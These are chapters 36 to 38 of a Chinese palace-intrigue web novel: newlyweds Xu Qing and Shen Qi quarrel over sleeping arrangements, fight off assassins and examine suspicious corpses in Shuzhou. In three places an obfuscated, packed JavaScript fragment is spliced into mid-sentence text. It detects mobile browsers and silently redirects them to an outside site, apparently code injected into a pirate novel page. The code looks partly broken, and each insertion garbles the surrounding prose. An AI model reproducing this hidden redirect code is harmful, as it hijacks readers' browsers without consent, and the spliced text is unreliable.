徐清瞥了他一眼,从床尾上了床,躺在里侧,闭上了眼,开始酝酿睡意。 沈祁瞧着她的动作,等了等,又见她安然地闭上了眼,好似已经睡了过去,有些迷茫。 她竟然没说让他去睡塌上? 他知晓徐清今夜定然是不会与他行同房之事,他也做好了分床睡的准备,只是徐清好似并不在意是不是与他睡在一张床上。 红烛还在烧着,门窗上还贴着大红的囍字,床上的被褥也是喜庆的大红色。 沈祁放下床帏,试探地躺下,将被子扯过来些,见她确实没什么动作,这才安心地闭上眼睛。 感受到身侧的呼吸渐渐平稳下来,徐清微睁了眼,轻手轻脚地又爬起来。 走到窗边,唤来歌槿,轻声交代了几句,才重新关上窗。她回身走到红烛前,一手拢发,弯下腰正准备吹灭烛火,床帏后倏然传来沈祁略哑的嗓音。 “新婚夜红烛不灭。” 像是被吵醒,又像一直没睡。 徐清闻声一顿,直了身子回到床上。方躺下,身侧沈祁便翻了个身,面朝向外侧。 “睡了。” 36. 第三十六 分房 西北边境,狂风呼啸,沙土飞扬。 藩王府里,沈郗和齐远山正在对峙,即使他们脸上都挂着笑,也难掩紧张到快要摩擦出火花的氛围。 “齐阳王这是打算抗旨了?” 齐远山闻言,张了张嘴,话刚到唇边,却是先猛烈地连咳了好几声,倒真有些齐予安先前在皇宫大殿上说的那样病重到行不了远路的模样。 而齐予安站在他爹身后,仿佛没有听见他爹快要把肺咳出来的动静般,垂着眼一动也不动。 齐远山自个儿靠着椅背,一手捂着胸口咳了半晌,才重新抬眼看向沈祁,语调缓慢从容:“臣不敢。” “只是殿下没有圣旨,也没有圣上的令牌,仅凭殿下一面之词便要臣交出虎符,未免不妥。” 沈郗微眯了眼,放下手中茶盏,一声重响可见其情绪不佳,“看来齐阳王虎符握久了,眼中也只有权势了,如今这是要置天下百姓于不顾!” 齐远山笑了笑,握拳虚掩于唇边,又低咳两声,“殿下这么说可是直接定了臣的罪,臣惶恐。” 嘴上说着惶恐,面上却没有一丝惶恐之色,倒是露出了些不太诚恳的为难。 “与西陵之战,臣自当全力协助殿下,只是虎符,没有陛下的圣旨和口谕,臣实在是不敢交给殿下。” “臣手持虎符统管十万兵马,既是抵御外敌,亦是防御内患,望殿下理解一二。” 沈郗的脸色终是阴沉下来,却也不能再说什么。 齐远山三两拨千斤,把欲谋逆之罪反扣在他身上,他若再多说什么,怕是连手里的右虎符都得交出去了。 姜果然还是老的辣。 沈郗阴沉沉地目光盯了齐远山许久,后者嘴角含着抹温和的消息,一派八风不动的镇定模样。 片刻后,沈郗垂眼,硬勾了勾唇,语调生硬,“反击西陵,齐阳王经验丰富,望齐阳王全力相助本王,好早日让本王将皇姑母的尸体带回皇陵安葬。” 齐远山眼角的皱纹深了几分,他凝着沈郗有些扭曲的面孔,笑应:“臣之本分。” 沈郗吐出一口浊气,拂袖而去。 与此同时,京城这处,徐清沈祁二人刚从帝后和淑妃那出来,迎面与后他们一步的徐妗沈瑜撞上。 二人见到人,脚步一顿,不约而同地上前将自己的兄长姐姐拉至一旁。 “静王要去舒州查案,爹爹恐受此案牵连,我同静王一起去一趟,阿姐一人在京城早多加小心,若有事可去侯府找柳姑娘。” 徐清刚拽住阿姐的手,唇一张便快速说了一堆话,“还有,阿姐记得常与我寄信来,好让我知晓京城是个什么情况。” 徐妗乍一听妹妹说了一车轱辘的话,反应了片刻,才拍了拍妹妹的手,柔声道,“我知晓了,你莫忧心我,保护好自己才是要紧。”说着,她瞧了瞧四周,向妹妹又凑近了些,“前几日周王派人来传话于我,道是成王已买通了人,让我同你二人讲一声,我那时不知何意,想来就是这件事。” “我虽也不太信他,但你们二人多留意身侧人总是没错的。” 姐妹俩额抵着额,相视一眼。 徐清:“我知晓的,阿姐。” 另一头,沈祁扯着沈瑜往徐清徐妗的反方向走了几步,直扯得他哥脚下踉跄。 “做什么?”沈瑜挣开他,抬手理了理被沈祁扯乱的衣袖。 “此次去舒州,老二老四肯定会派人来堵我,在宫里动作也肯定不会少。你在京城里多留意留意,如今盛王妃怀子,那宫女的全部注意力都在盛王妃的肚子上,小心被当了枪使。” 沈瑜不以为意,好笑地睨了他弟一眼,“我像那么蠢的人?还需你特意来提醒一句?” “我说的自然不是你。” 沈祁说着,目光往徐清徐妗那瞟,沈瑜视线顺着一同落过去,看见昨日刚新婚的妻子同她的胞妹手牵手正说着体己话的模样,这才反应过来沈祁的意思,眉目不由得沉了沉。 沈祁见他明白过来,也不再多说,只拍了拍他的肩,最后道一句,“自己多注意罢。” 说罢,便见徐清那好似也说完话了,便抬步走过去,朝徐妗拱了拱手,喊了句“四皇嫂”,后者颔首,依着皇嫂的辈分叮嘱了一句,“路上小心些,保护好清清。” “自然。” 两厢话毕,沈瑜携着徐妗走进大殿,而沈祁徐清马不停蹄地往宫外赶。 宋阳已经驾马候在了城门外,身后的马车旁站在一端庄秀丽的妇人。 沈祁一见便皱了皱眉,凌厉的目光扫向马背上的宋阳。 后者摸了摸鼻尖,讪笑道,“我不放心她一人在京城,左右我会顾好她,保证绝不耽误殿下的计划。” 徐清侧眸,同叶然微弯的眼对上,回以一笑,不等沈祁拧着眉吐出什么让叶然即刻点头回去的话,她先开了口,婉声道:“无碍,本宫不也跟着去了,上车赶路罢。” 沈祁偏头看了徐清一眼,微张的唇合上,没说什么,翻身上了马,手上扯住缰绳。 宋阳见状,忙向妻子使了个眼色,叶然接收到,立刻向徐清和沈祁盈盈一拜,“多谢王爷,多谢娘娘。” 话落,叶然转身,上马车时脚下却不知怎的踩空了一瞬,她身后不远处的徐清快速上前脚步,伸手扶住了她,随即托住她的臂弯,将她送进的马车内。 “多谢娘娘。” 叶然轻声道谢,徐清摆了摆手,准备放下车帘时,忽地想到什么,顿住手,又道,“路途遥远,舟车劳顿,宋二夫人切记要先顾好自个儿。” 说罢,她松了手,转身骑上了沈祁身边的那匹马,一手勒了勒缰绳,一手执起马策,往马臀上抽了一下,马儿吃痛,鼻孔呼出重气,马蹄扬起,立刻往前飞奔而去。 为了赶路,他们一行人未走官道,而是抄小路前进。 身后马蹄声错落响起,徐清压低了身子策着马,在城郊的林间飞驰,行至某处时,偏首往密林见看了一眼,视线里几道残影掠过,没惊动任何人,只有刚长出不久的新叶微微颤动。 一行人驱马赶了整整一日的路,最后一缕红霞消失在天际时,终于行至驿站。 宋阳带着叶然先回了房,其他的下属也开好了房歇息下来,而徐清和沈祁却在一楼大堂面对面坐着。 两人面色都不太好看,好似方才已经吵过一架了。 沈祁反手,用食指关节扣了扣桌面,压低了的嗓音还能听出其中的不快。 “徐清,昨夜怎么说的?” 徐清也不爽得很,直接装没听见他的话,垂头把玩着方才店小二上的茶杯。 “再加一条,不许无视我。” “砰——”的一声重响,是徐清面无表情地将杯子用力扣在桌上。 此时夜深,一楼除了他们二人,就只有一个忙着茶桌的店小二和站在柜台后忙着算账的掌柜,这声重响把忙着得二人皆吓得一激灵。 而位置上徐清冷这张脸瞧着眼前人,硬声硬气的,“我除了答应了第一条,可答应其他的了?殿……公子还挺会得寸进尺,日日给我多加一条规矩,不如我即刻签个卖身契给公子好了。” 沈祁听到她唤了“公子”后就有些听不进其他的话了,他微眯了眼,反问,“你唤我什么?” 徐清不说话,视线也移开了,大有一种大不了我们今夜就耗在这的架势。 沈祁等了半晌,终于还是先泄了气。 “我没给你加规矩,不是说好了不吵架的嘛?” “是公子先开始的。” “我没有。” “就是你先甩脸子的。” 沈祁先是哽了哽,随即反问她,“谁的错?” 徐清也硬气的很,“难不成是我的?” 眼见着又要吵起来,沈祁决定好声好气地再给她捋一捋其中利害。 他压低了声音,身子往前倾了倾,以确保只有他二人才能听见他说的话,“宋阳带着他夫人睡了一间房,你却要与我另分两间房睡?若是他们知道了会怎么想?这些人里有一半可是父皇的人,消息传回皇宫里,父皇怎么想?” “况且,昨夜你都能同我睡一张床,今日怎么就不行了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295133|147705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 徐清脑袋凑过去些,咬着牙也压低声,“昨夜整个静王府里头,不是陛下的人,就是淑妃的人,不然就是皇后的人,我能走出那个房门吗?” “那房里头也有塌,你也没让我去睡塌啊。” “……”徐清无言片刻,“我脸皮没那么厚,睡在别人房间,还把人赶走自个儿霸占床,再说你房里头那床挺大的,我们又不会互相挤着。” 但这驿站的床就不一样了,又小又破,挤得很。 况且和沈祁住一间的话,她做事就得束手束脚的,昨夜在静王府她便发觉,沈祁这人觉浅得很,耳力也灵敏得很,一点点动静便会醒过来。 她可不想再和他睡一个屋子。 沈祁听了她的话,脸黑了黑,没想到她不介意睡一张床的理由竟是不好意思一个人霸占别人的床。 别人。 好一个别人。 一股火冲上来,他的声音不自觉大了点,“那你去开两间房好了,明儿我们从两间房里出来,届时被发现了你自己想办法解释。” 徐清都不用思索,理由脱口而出,“就说床小,睡不下两个人。” 沈祁冷笑两声,“人家两个人都睡得下,就你睡不下。” 说得是宋阳叶然二人,人夫妻俩估计已经在床上安然进入梦乡了,他却还在这跟昨日刚大婚的妻子掰扯要不要睡一间房。 徐清第一次发现自己吵不过沈祁,她沉默片刻,再开口声音冷静了不少。 “你自己说的不吵架,别这么大声,等会把这的人都吵醒了。” 他没好气,“你不是不答应。” 徐清无奈,“我答应了,成吗?” 店小二许是听见了徐清这声答应了,立刻凑了上来,笑呵呵地问道,“二位客官要几间房?” 徐清瞥了眼沈祁还臭着的脸,冲店小二扯了抹笑,“一间上房,多谢。” “好嘞,客官,楼上请。” 店小二应了声,弓着腰在前头带路。 徐清站起身跟了两步,一回头见沈祁仍是坐在那板着张脸一动不动的。 “公子不走?” 沈祁挑了挑唇,耸拉下眼皮,双手环臂,冷嗤一声,“什么公子能跟你睡一间房啊。” 徐清对他的话有些莫名,叹了一口气,问道,“什么?” 这回换沈祁不说话了,就是一副你自己想,想不出来我不走的无赖样。 前头的店小二见两位贵客迟迟未跟上又折身返回来,将二人的话听了个全,这会儿很有眼力见地凑上来道,“当然是夫妻才能睡一间房啦。” 徐清微讶,看了沈祁一眼,这又听店小二接着道,“二位瞧着年轻,刚成婚不久吧?夫人许是还不习惯,一时还改不过口来罢。” 沈祁哼笑两声,还是不答,也不动。 最后是反应过来的徐清用一句“夫君,你到底歇不歇息了?”终于把他从大堂带了上去。 “第一,诸事沟通。第二,不吵架不呛声不动手。第三,绝不无视对方。” 徐清坐在床沿,背脊挺直,面上是似无奈又似气愤的复杂神情。 面前坐在木凳上的沈祁听她复述完满意地点点头,“下次谁先违反了就得无条件答应对方一件事,比如我让你放你大嫂认祖归宗,你就得放。” “不可能!”徐清不假思索地立刻便拒绝,“那我不答应了。” “你已经答应了,现在反悔也来不及了。”沈祁站起身,走到徐清身边,脱了鞋直接翻身上了床,“睡了,明天还要早起赶路。” 徐清看着他一脸愉悦地安然闭眼,恨得有些牙痒痒,“殿下先前不是这样的。” “嗯哼。”沈祁应了一声,勾了勾唇角,“这件事我记得我们先前已经谈论过了。” 话落,转而又拍了拍身旁的空位,催促:“快睡。” 徐清呼出一口气,起身拂灭了屋内的烛火。 驿站外不远处,几道寒芒闪过,刀剑相撞的声响传到屋内已是几不可闻。 徐清上床塌没多久,再次睁开了眼。 37. 第三十七 半道 初春的阳光带着暖意,被新发的嫩芽枝叶割碎,错落地打落在行人的身上。 溪水潺潺而过,伸手进去还能感受到刺骨的凉意。 沈祁盘腿靠着溪边的大树,左侧的袖子高捋起。 徐清蹲在他身侧,嘴里咬着纯白的细布,手上动作轻柔地将他小臂上染了血、又因奔波了大半日还与伤口有些黏连的细布揭下来。 金疮药撒上去,沈祁拧了拧眉,徐清似有所觉地抬眸瞥了她一眼,手上将新的细布重新缠绕上去。 “疼?” 徐清问了一句,倒也没想听他回答,自顾自的又道,“该。” “谁让你非要冲过去的,让你在屋里歇着非不听。” “轻一点。”沈祁轻‘嘶’一声,手腕动了动,表示了下自己的不满,“我第二次救你身边那两个了,你态度好点成吗?” “还有你惹上的那些人,什么年家,从秋猎时候追到现在,能不能和我说说到底什么人啊?” 说着,想起昨晚的争吵,“还有你非得自己住一屋,就是因为这个?” 一连几个问题,徐清是一个也不想回答。 她想自个儿一个屋就是想着林小满和燕琼可以进屋里来躲躲,顺便慢慢交代一下此行的目的。毕竟出行也是昨夜临时起意的。 后来她想着与其让林小满在京城听着那些流言蜚语,不如带着她一道去舒州,有事做了自然难以分出闲心。再者舒州毗邻柳州,她此去舒州,也是为了方便去柳州罢了。窈音松枝等人如今也都在柳州,松枝又念着燕琼,索性一并带上这二人。 只是沈祁带的人中一半是皇帝的人,她不能光明正大地将林小满二人带在身边,只好让他们一路悄悄跟在后头。 至于年赋门…… 徐清凝眉,手上的动作停了下来。 昨夜她与沈祁进屋后,便想等沈祁睡下后,让歌槿去新开两个房间给小满和燕琼,没想到二人刚躺下,便听到远处传来的刀剑碰撞声。这声响传到驿站已是极其微弱,若不是他们二人尚醒着,且因习武五感灵敏,怕是听不见这动静。 她顿感不对,当即起身,见沈祁也翻身而起,匆匆留下一句“你歇着别来”便从窗台上翻了出去。果见歌槿三人被一群蒙面人围了起来。 这些蒙着面的人虽看不清面容,却可见玄服腰间一般无二的红色绣纹,真是年赋门的人。 真是穷追不舍了。 徐清暗骂一声。 此前打算将小满燕琼二人带上后,便也让歌槿告知了双瑶他们即将离京之事,此时双瑶带着居源和其他人早已行远。 徐清冲过去时,正见一把大刀在歌槿身后即将劈下,瞳孔骤聚,她立刻抽出袖中常备的短匕掷过去。 锋利的短匕扎进手腕,大刀偏了方向落地。这一下的动静又引来了其他的蒙面人。 她脚下一点,璇身刚避开左右而来的大刀,一转头又见一把迎面而来。身子后仰躲避时,顺势抬腿,将捂着手腕跪地哀嚎的人狠踹在地。 直身落脚时,又快速拾起地上那把大刀,转身迎击反攻。 除了小满和燕琼,她与歌槿武艺不低,但二人对上这么多人,还是吃力。 分了些神往小满那看去,见她虽被围着,却也能护着自己不受伤,应是近日在林嵘舟的指点下也进步了不少。 见她与燕琼二人尚能应付,徐清全神贯注地应对越来越多围在她身侧的蒙面人,大刀在手中翻转,手腕慢慢地有些脱力。 忽而听见燕琼一声惊呼,她侧首望过去,就见本应在驿站上房里歇息的沈祁扯着燕琼避开,只是避得还是晚了些,大刀擦着他的小臂落下。 尚来不及管臂上的伤口,沈祁璇身朝燕琼身后的来人一脚,拧眉冲燕琼不善道,“别分神了,刀砍下来了看不见?” 这话也似对徐清说的,她将目光从沈祁滴着血的手上收回,看着面前围着的密不透风的人墙,咬咬牙,双手握住刀柄,朝着人墙一挥。 她循着记忆里双瑶教的刀法,刀光起落间一连伤了数人,她抬脚踩住一个已经捂着肚子趴在地上的人,喘了口气,抬眸扫视面前想上又因周边兄弟都已倒下、恐已无胜算,故而有些犹疑的几人。 “你们门主没教过这套刀法吗?”她嗤笑一声,“没偷到自然教不了,恐怕他自个儿也不会吧。” “回去告诉你们门主,偷来的东西终究是要还的,想知道我为什么会年家刀法,就亲自来找我,不然来多少人我杀多少,总有一天我会杀光你们的人。” 大刀扬起,砍向脚下的人,一声惨叫,血溅上徐清的裙裾,脚下的人顿时没了气息。 与此同时,沈祁歌槿他们也处理了围着他们的人。年赋门派来的人,就剩眼前这几个了。 几人对视一眼,似是还想一搏,齐齐又向徐清冲过来。 门主令,杀了会年家刀法的那名女子即可。 徐清沉下一口气,脚下用力往刀刃上一踢,手腕顺势使力扬起大刀,身后一道银光从她身侧闪过,匕刃没入腹中,大刀随后落下。 冲在最前头那人倒下,脑袋只与脖颈剩一层皮肉相连。 这下,剩下的人不再往前冲了,扫了一圈地上已没了气息的兄弟们,又抬眼狠狠盯了徐清一眼,这才齐撤走。 如秋猎那夜一般的情形。但这次她放人回去,亦是想彻底解决此事。而要彻底解决此事,就要年赋门的门主亲自来,才能了断这桩陈年旧事。 沈祁从她身后走上前来,矮身拔出那把方才他扔出去的匕首,是徐清的那把。 他从怀里掏出了张帕子仔仔细细擦净了,才伸手递给徐清。 后者扔了手中的大刀,接过匕首,视线落在他手背上干涸了的蜿蜒血迹,用因力竭而微哑了的嗓音低声吩咐歌槿:“你带他们二人收拾一下。” 听歌槿应了声,她才转而拽住沈祁,往驿站的方向回去。 一室无言,徐清打了水来清洗了沈祁小臂上的伤口,再上好药包扎起来。 许是折腾了大半夜真的都累了,一个没问,一个也没主动解释,收拾好伤口,换了身衣裳,便上榻歇下了。 果不其然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314941|147705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈祁今日便追着问了。 徐清从昨夜的回忆里抽身,想了想,解释道,“是一个江湖组织,我那两个弟弟妹妹不小心得罪他们了。” “本想带着他们一同出来躲躲的,昨夜想着分房也是想让他们也歇歇。” “那另开一间房就好了。”沈祁哼笑,“你就是想和他们偷偷密谋什么,又不想让我知道。” 徐清无言,抿了抿唇,一口气从胸腔提起来,想回怼几句,想起昨天答应下来的约法三章,话到嘴边又重新咽了回去。 细布缠绕好,徐清打上结时稍用了些力,如愿看到沈祁因吃痛再次皱起的眉心。 不远处,随行的官员和侍卫皆在河边给水囊灌水,偶尔传来几声笑谈。 徐清刚收好金疮药抬起头,想问问此行要办的案子,却听沈祁也一同出了声。 “给我说说案子吧?” “说说你去舒州想做什么?” 话落,二人齐齐静默半晌,四目相对,好似又杠上了。 这个问题沈祁是第二回问了,他想徐清能告诉他些她的打算,这次抿紧了唇,就是不开口,打定了主意要徐清先说。 最后也确实是徐清先妥协了。 “我要去查一个人。” “先前查缘尘楼那起案子时,有个叫周惊山的人寻上我,道是知晓我那好友的去处,后来在缘尘楼假意闹事的布衣也是他。” 她顿了顿,见沈祁目光催促她继续说,轻笑了声,随即又敛了笑,眉心也微蹙起,像是真的苦恼。 “你还记得我们从缘尘楼救出去的那个女子萍娘吗?” 沈祁回想了几息,点了点头。 “她在家庐州,有一已定了亲的未婚夫婿,她被拐后,她这未婚夫婿为了寻她跑遍了整个庐州,县令、太守皆不管此事。他便想着进京来报官,却惨死在半路。” “她这未婚夫婿,也叫周惊山。” 沈祁垂眼思索,“天下百姓众多,你怎的就确定这不是两个同名同姓之人?” “查查就知道了。” 徐清说罢,睨他,“说说你要查的案子?” 沈祁坐直了些,支起一条腿来,这下舒服多了,才开口:“我先前与你说过,舒州太守上报了个案子,说来也巧,也是一人莫名其妙地死在了郊外,最后县令断案是地方流寇下的杀手。云思起复核入卷时发现呈上来的陈词不对劲,去翻了过往的卷宗,发现各地每年都会报上来几起这样的案子,所有的结案陈词都一样。” 徐清动了动身子,抬手捏了捏因蹲久了有些发麻的腿,接话,“所以他上禀了陛下,去了舒州彻查这起案子。” “查到什么了?” “那人或许并不是流寇杀的。”沈祁言辞迟疑,有些模棱两可,“云思起的来信只道舒州上下的官员都有意无意阻止他深查,其间种种,还得我们去了继续查才知道。” 徐清拧着眉,不知是因地理位置关系,亦或是沈祁那句“说来也巧”所致,她在这一刻忽然觉得,她想查的和沈祁所要查的,会有千丝万缕的关联。 38. 第三十八 查尸 一行人赶了十日的路,终于到了舒州。 云思起与舒州太守早已接到消息,在太守府门外候着了。马车刚停下,太守立刻上前,抢在云思起前头恭敬地候在马车边,等着里头的贵人下马。 叶然此时正好撩开车帘,乍一见一横眉黑胡的中年男子挨着马车,吓得惊叫一声。 方才被她指使去街边买糖葫芦的宋阳从后头急急赶上来时,听见妻子的一声惊呼,赶忙驱马上前。 马蹄高扬起,马儿厚重的鼻息几乎喷在那太守的背后。他还没反应过来,宋阳却已经下了马,将他推开,扶着叶然的手将她带下来护在身后。 做完这些,他才面色不善地回头瞪向太守,“你做什么?” 太守有些茫然地抬手,一时不知面前的是哪位。他曾因要上报公事到徐府时见过徐清,并不是眼前这位女子的模样。 就在他有些糊涂了时,身后又响起一阵马蹄声,随之而起的还有云思起淡然的嗓音。 “见过静王殿下,王妃。” 太守脑袋左右转了转,看了一眼不知为何姗姗来迟的沈祁徐清二人,又看了看把妻子护在身后横眉竖眼瞪着他的宋阳。这才赶紧走到云思起旁边,一同向沈祁徐清行礼。 “吴大人怎么了?” 徐清翻身下马,先同太守打了声招呼,见他方才似傻了般的神情,一手拽着缰绳问了句。 “误会误会,下官以为马车里头是王妃,这才上前候着,不想吓到这位夫人了。” 随后翻身下马的沈祁一边摸了摸马头,一边点了句,“宋太傅次子宋阳。” 吴太守做出一副受到惊吓的模样,又向宋阳拱手赔罪,“原是宋大人和夫人,是下官有眼不识泰山,失敬了。” 见宋阳不应,只低声安抚妻子,他垂着脑袋眨了下眼,随后自己又直起身子来,谄笑地将一行人往府里迎。 “殿下王妃,还有各位大人们一路舟车劳顿,怕是累了,这时候也不早了,不如随下官移步前厅,先用过晚膳。厢房也已命人收拾妥当,待用完膳后,诸位可好生歇上一夜。” “不必了。”沈祁摆了摆手,直问本次来舒州的目的,“你们抓到的人呢?本王要亲审。” “这……” 吴太守面上犹疑,脚下的步子也顿了下来,好似沈祁这个问题抛得突然,让他实在为难一般。 沈祁压眉,唇边却挑起笑,“怎么了吴大人?本王不能审?” “殿下恕罪,下官不是这个意思。”吴太守躬腰,语调慌张,“是犯人昨夜畏罪自尽了,下官这也是……” “自尽了?” 沈祁声调一沉,目光转向吴太守身后的云思起。后者轻拧眉心,微微颔首。 宋阳轻嗤,“一个犯人都看不住?难怪一年下来这种案子时时发生。” 吴太守的脸色一下变得阴沉起来,他侧头偷偷打量沈祁的面色,生怕沈祁一听这话直接怪罪下来,给他安一个治理不严,疏忽职守的罪名。 却忽视了沈祁身侧面色逐渐难看下来的徐清。 地方案件审完定罪后,需层层上报审核,最终至大理寺复核,无误后记入卷宗。 宋阳这番话看似只在嘲讽吴太守失职渎职,实际无差别讽刺层层官员敷衍塞责,草草了事。 而这其中,就有徐清她爹,江南总督徐峰。 她敛了思绪,眉目一转,看向吴太守,目光之中的凌厉之感甚然,“尸体呢?” 吴太守被这眼神看得心下一惊,立即应:“还在牢里,下官派人看着了。” 徐清下巴微扬,冷声,“带我们过去看看。” 吴太守揣手,谄着笑提议:“云大人今晨已与下官一同去看过了,确实是以头抢墙,九月过多的而死。您瞧这天色也不早了,这人死了也跑不掉是吧,不如先去用个晚膳吧?” 已经走出两步的徐清闻言猛地回身,眉眼微弯地直瞧着吴太守,脸上却丝毫没有笑意,说出的话饶是在这初春时节,也让他背上乍然出了一层冷汗。 “吴大人若是饿了,可以端着碗去牢里吃。” “王妃教训的是,办案要紧、办案要紧。”吴太守弯了弯腰,“殿下,王妃,还有二位大人随下官来。” 地方大牢狭窄脏污,空气里混杂着微弱的血腥气味和经年不散的馊味。 一行人挤进逼仄的牢房中,皆有些施展不开的局促。 那名犯人仰面横躺在稀疏的茅草堆上,旁边的侍从揭开犯人身体上的白布。 徐清的视线从这名犯人脑门干涸的血迹开始一路向下扫,扫过他脖颈处有些青紫的痕迹时,她眯了眯眼,想蹲下身凑近些好看得清楚。怎料膝盖刚动了动,就被身侧的沈祁一把捞住。 她侧头,拧眉不解地看向他。 沈祁睨了她一眼,放开手,“别凑那么近。” 说罢,他自己倒是蹲下身去,抬手拨弄那犯人的领口,指尖在拿出青紫的痕迹上点了点。 吴太守小心地觑着他的神色,见他低垂着眼像在沉思什么,有些忐忑地轻声开口,“殿…殿下,可是这尸体有什么问题吗?” “你说这人是昨夜以头抢墙,流血过多而亡?” “是…是。”吴太守不安地应声,随即又像是想起什么般,抬手指着昏暗的墙角,“殿下您瞧,那墙角还有些血迹,下官还没来得及叫人来处理。” 众人顺着看去,果见那处深色灰墙上有一滩更深的印记,确实是血往下淌的痕迹,在晦暗的角落,有些瘆人之感。 沈祁直起身,接过云思起递来的帕子,一边仔仔细细地擦些手指,一边不带情绪地续问:“那为何这人的脖颈处会有青紫的勒痕?他为自尽前,可是有人对他用绞刑了?” “这……”吴太守嘴边吐不出话来答,仓惶地转头去看云思起。 后者目光往犯人的脖颈处一掠,随即拱手作揖,“自臣到舒州接手此案后,狱中无人对该犯用刑,脖颈处的青紫痕迹在昨夜前都不曾存在。昨夜该犯突然自尽,实属意料之外。今日清晨,臣接到消息后便立刻与吴大人一同前来查看,臣推断,应是有人避开看守,潜入狱中,企图灭口。” “云大人可不敢胡说啊!” 吴太守惊叫一声,腰深深地朝沈祁弯下去,身子因害怕止不住地抖,“看押罪犯的重地,下官特意派了许多人专职看守在这,是一只苍蝇都飞不进来的啊,云大人这么说是在指责下官办事不利、玩忽职守啊,下官惶恐!” 沈祁抬眸与云思起交换了一个眼神,随后伸手轻抬了下吴太守高举在身前作揖的胳膊,勾了勾唇,语调不辨喜怒,“吴大人不必如此紧张,本王没有怪罪你的意思。” 言辞听着像在安抚他,却又无端让他刚散了冷汗的背脊又浮出新的一层冷汗。 他顺着沈祁的力道直了些身子,不敢看沈祁如同笑面虎的脸,微微偏头却又对上同样面上带笑、眸光却沉冷的徐清的目光,略微发福的身躯又是剧烈地一颤。 徐清见状,唇角笑意渐深,她轻叹一声,“吴大人怎么抖得这般厉害?你可是一方父母官,怎能如此心理脆弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341216|147705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?” 这对笑面虎夫妻。 吴太守心下暗啐一声,面上却抬手擦了擦额上冒出的汗,勉强挤了抹笑,“王妃说得是……” 沈祁可不管他心路如何,抬手示意旁边候着的侍从可以重新将白布盖上后,转而问起那名莫名惨死在城郊的书生。 “死者呢?” 吴太守揩汗的手一顿,“这死者……” 徐清见他总是装模作样,吞吞吐吐,心下十分不耐,假笑中带上了些许烦躁,直言:“吴大人又有什么疑虑?” “王妃恕罪,不是下官疑虑,是这死者已去了好些时日,尸体怕是开始腐烂了,恐污了殿下王妃和诸位大人的眼。” “无妨,带路。” 一行人便又辗转移步,来到了另一处房屋中。 白布揭开,恰如吴太守所言,尸体已然开始腐烂,难以言喻的气味扑面而来。 沈祁担心徐清又想着凑近去看,在白布揭开时便伸手扯住了她的衣袖。 二人便隔了一段距离扫视这具尸体。 虽然已有多处腐烂,但也能看得出身上的伤口都在何处。除了脖颈和肩上有几处刀痕,最严重的就当属小臂和手背了。 这两处的伤口如今已尽数溃烂,可见其皮肉之下的森森白骨。 “除了这几处伤口之外,背部亦有多处刀痕深可见骨。”云思起沉声,“可见得死者应是被追杀的。” 沈祁转头看向吴太守,“吴大人审查此案得出的结果是什么?” 吴太守再次被点,这回下意识先看了眼徐清,才拱手答道:“回殿下的话,此类案件近年在江南一带频发,皆是流寇匪徒所为,此案的结果亦不例外。” 此话亦是说这案子平平无奇,与过往每一桩上报的流寇作恶杀人案并无不同,不知大理寺为何这回突然便复核不对,叫这大理寺卿千里迢迢来了舒州亲自查案,这还不止,如今还让静王也受圣命前来,实属不必。 徐清沉了脸色,连假意的笑都扯不出来,眸光似箭地望向吴太守。 沈祁拽着她衣袖的手用了些力,似阻止又似安抚,徐清没有多言,倒是将衣袖从他手中扯出,以此宣泄些心中的不爽利。 沈祁也不强求,见她不会冲动行事,便收了手,又问”“你既说是流寇猖獗许久,犯案不断,为何不整治?” 吴太守面上戚戚,似有苦难言,“实在是这流寇狡猾,下官人手不足,既抓不住他们,也打不过那些亡命之徒。” 沈祁:“既如此为何不上禀?” 吴太守:“下官禀了啊,可今岁洪灾猝不及防,大坝坍塌,徐大人心系重建大坝,分不出人手给下官捉拿那些流寇啊。” 徐清抿了抿唇,无甚情绪地瞧着吴太守愁眉苦脸地诉苦。 一直没怎么说话的宋阳忽而出声问了一句,“先不说人手问题,你可有去查这群流寇的来头?” 一群亡命之徒聚在一处,来到一方作恶,定然是有原由的。许是天灾人祸降临,一群人为了活命凑在一处烧杀抢掠。也可能是为了谋财而害他人性命。 吴太守口吻又一次犹疑起来,他踌躇片刻,不太确定道,“下官查了,好似是一群因天灾失了家的浪子自发凑在一处,到处谋财抢掠害人。他们虽在江南一带活动,行踪却是不定的,实在难抓。” “噢,这群流寇还给他们自己这帮派起了个名,下官若是没记错的话,应是叫什么,居…居源和……” 话落,犹如平地一声惊雷,徐清和云思起同时黑瞳一聚,神色剧变。